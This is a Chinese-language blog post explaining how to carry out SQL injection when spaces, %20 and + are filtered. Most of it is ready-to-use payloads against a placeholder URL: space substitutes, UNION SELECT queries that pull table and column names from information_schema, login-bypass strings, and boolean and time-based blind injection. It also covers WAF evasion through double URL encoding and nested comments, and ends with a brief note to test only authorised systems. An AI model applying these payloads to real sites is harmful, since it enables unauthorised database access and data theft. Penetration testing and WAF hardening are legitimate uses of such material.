news 2026/4/18 8:27:03

sql注入中过滤分隔符的测试方法

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sql注入中过滤分隔符的测试方法

目录

空格、%20、+被过滤时的测试方法

一、核心思路:替代空格的常用字符/语法

快速验证方法

二、分场景测试方法

场景1:GET请求参数(URL中)

步骤1:用/**/替代空格测试基础注入

步骤2:URL编码特殊字符(换行/制表符)

步骤3:括号包裹字段/表名

场景2:POST请求参数(表单/JSON)

方法1:用/**/替代空格

方法2:MySQL内联注释(仅MySQL)

场景3:盲注(无报错回显)

布尔盲注示例(MySQL)

时间盲注优化(无空格)

场景4:特殊数据库适配

1. Oracle数据库

2. SQL Server数据库

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

技巧2:利用运算符替代空格

技巧3:注释嵌套(绕过WAF规则)

四、测试注意事项

五、常见问题排查


空格、%20、+被过滤时的测试方法

在SQL注入测试中,空格(包括URL编码的%20)、+是最常用的分隔符,若被WAF/代码过滤,可通过特殊字符/语法替代分隔符编码绕过注释截断等方式突破限制,本文详细讲解具体测试方法与场景适配。

一、核心思路:替代空格的常用字符/语法

SQL语法中,空格的核心作用是分隔关键字/表名/字段名,以下字符/语法可等效替代空格,且多数数据库兼容:

替代方式

语法示例

适用数据库

说明

注释符截断

SELECT/**/username/**/FROM/**/users

MySQL/Oracle/SQL Server

/**/是通用注释,可分隔语句

换行符

SELECT%0Ausername%0AFROM%0Ausers

所有主流数据库

%0A是URL编码的换行符

制表符

SELECT%09username%09FROM%09users

所有主流数据库

%09是URL编码的制表符

括号包裹

SELECT(username)FROM(users)

MySQL/SQL Server

用括号分隔字段/表名

特殊空白字符

SELECT%0Busername%0BFROM%0Busers

MySQL/Oracle

%0B(垂直制表符)、%0C(换页符)

内联注释

SELECT/*!username*/FROM/*!users*/

MySQL

MySQL特有内联注释,不影响执行

快速验证方法

先通过简单语句测试替代符是否生效(以MySQL为例):

# 原正常语句(空格分隔) SELECT id FROM users WHERE id=1 # 替换后测试语句 SELECT/**/id/**/FROM/**/users/**/WHERE/**/id=1 -- 注释符替代 SELECT%0Aid%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 换行符替代 SELECT(id)FROM(users)WHERE(id=1) -- 括号替代

二、分场景测试方法

场景1:GET请求参数(URL中)

若目标URL为:http://xxx.com/user.php?id=1,空格/%20/+被过滤:

步骤1:用/**/替代空格测试基础注入

# 测试是否存在注入(判断是否报错) http://xxx.com/user.php?id=1/**/AND/**/1=1 http://xxx.com/user.php?id=1/**/AND/**/1=2 # 联合查询测试(提取表名) http://xxx.com/user.php?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()

步骤2:URL编码特殊字符(换行/制表符)

/**/也被过滤,用%0A/%09替代:

# 换行符(%0A)替代 http://xxx.com/user.php?id=1%0AAND%0A1=1 # 制表符(%09)替代 http://xxx.com/user.php?id=1%09AND%091=2

步骤3:括号包裹字段/表名

若所有空白字符都被过滤,用括号分隔:

http://xxx.com/user.php?id=1AND(1=1) http://xxx.com/user.php?id=-1UNION(SELECT(1),(2),(3)FROM(users))

场景2:POST请求参数(表单/JSON)

若POST参数(如username=admin&password=123)中空格被过滤:

方法1:用/**/替代空格

// JSON格式示例 { "username": "admin'/**/AND/**/1=1#", "password": "123" }

// 表单格式示例 username=admin'/**/OR/**/'1'='1&password=123

方法2:MySQL内联注释(仅MySQL)

利用/*! */注释包裹关键字,无需空格:

# 测试语句 username=admin'/*!AND*/1=1# password=123 # 提取数据 username=-1'/*!UNION*//*!SELECT*/1,group_concat(column_name),3/*!FROM*/information_schema.columns/*!WHERE*/table_name='users'#

场景3:盲注(无报错回显)

若无法通过报错判断,需结合布尔盲注/时间盲注,同时替换空格:

布尔盲注示例(MySQL)

# 测试数据库名长度(/**/替代空格) http://xxx.com/user.php?id=1/**/AND/**/length(database())=8 # 时间盲注(%0A替代空格) http://xxx.com/user.php?id=1%0AAND%0Asleep(5)

时间盲注优化(无空格)

# 括号包裹,无任何空白字符 http://xxx.com/user.php?id=1AND(sleep(5))

场景4:特殊数据库适配

1. Oracle数据库

Oracle不支持/**/注释分隔,优先用%0A(换行符)或--注释截断:

-- 测试语句(%0A替代空格) SELECT%0Aname%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 注释截断(无需空格) SELECT'1'FROM dual WHERE '1'='1'--

2. SQL Server数据库

支持[]包裹关键字,且%09(制表符)兼容性更好:

-- 制表符替代空格 SELECT%09[name]%09FROM%09[users]%09WHERE%09[id]=1 -- 括号替代 SELECT([name])FROM([users])WHERE([id]=1)

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

若WAF过滤%0A/%09,可对编码再次编码:

# %0A的双重编码是%250A http://xxx.com/user.php?id=1%250AAND%250A1=1 # %09的双重编码是%2509 http://xxx.com/user.php?id=1%2509AND%25091=2

技巧2:利用运算符替代空格

部分场景下,+/-/*等运算符可间接分隔语句(需结合语法):

# MySQL示例(+号分隔) SELECT 1+1 FROM users WHERE id=1 -- 等效于 SELECT 1 1 FROM users... # 注入测试 id=1'+'AND+'1'='1

技巧3:注释嵌套(绕过WAF规则)

若WAF拦截/**/,可嵌套注释:

# 嵌套注释替代空格 SELECT/*/*/id/*/*/FROM/*/*/users

四、测试注意事项

  1. 优先测试通用替代符:先试/**/,再试%0A/%09,最后试括号,减少测试成本;

  2. 适配数据库类型:不同数据库对替代符的支持差异大(如Oracle不支持/**/),需先确认数据库类型;

  3. 避免触发WAF拦截:部分替代符(如/*! */)可能被WAF标记为恶意,可混合多种方式;

  4. 验证语句有效性:替换空格后,先在本地数据库测试语句是否能正常执行,再用于目标站点;

  5. 合规测试:仅对授权的系统进行测试,避免违反法律法规。

五、常见问题排查

  1. 替代符无效:检查是否数据库版本不兼容(如MySQL 5.5以下对/*! */支持有限),或WAF深度解析了注释/编码;

  2. 语句报错:确认替代符位置是否正确(如/**/需放在关键字之间,而非首尾);

  3. 盲注无响应:可能是替代符被过滤,或目标无注入漏洞,需换用其他替代方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 23:11:33

【redis-day03-缓存三兄弟及解决方案】

《Redis-day03-商户查询缓存》 0. 今日总结 了解了什么是缓存完成了利用redis实现根据id查询商铺及商铺类型缓存解决了缓存更新导致的数据不一致问题,解决方案如下: 读操作:缓存未命中则查询数据库,并将结果写入缓存,但…

作者头像 李华
网站建设 2026/4/4 8:55:29

【MCP DP-420图Agent故障排查】:资深专家亲授5大高频故障应对策略

第一章:MCP DP-420图Agent故障排查概述在分布式监控系统中,MCP DP-420图Agent作为关键的数据采集组件,承担着从目标节点收集性能指标、日志信息并上报至中心服务的职责。当Agent运行异常时,可能导致监控数据缺失、告警延迟等问题&…

作者头像 李华
网站建设 2026/4/16 10:49:23

57、Ubuntu内核与模块管理全解析

Ubuntu内核与模块管理全解析 1. 模块加载问题及解决办法 在Ubuntu系统中,有时会遇到模块加载失败的情况。比如,当模块是用与当前运行内核不同的版本编译时,就可能出现这种问题,像NVIDIA显卡模块。这时,可以使用以下命令强制加载模块: # insmod -f nvidia如果内核产生…

作者头像 李华
网站建设 2026/4/14 1:39:07

python-flask-django流浪猫领养系统_ct8whxh8

文章目录 系统截图项目技术简介可行性分析主要运用技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式! 系统截图 python-flask-django_ct8whxh8 流浪猫领养系统 项目技术简介 Python版本:python…

作者头像 李华
网站建设 2026/4/16 12:41:10

游戏 Agent 的 AI 训练全解析(从环境建模到策略优化)

第一章:游戏 Agent 的 AI 训练概述在现代游戏开发与人工智能研究中,游戏 Agent 的训练已成为验证和展示强化学习算法能力的重要场景。这些智能体通过与环境的持续交互,学习如何完成特定任务,例如走迷宫、对战对手或完成复杂策略决…

作者头像 李华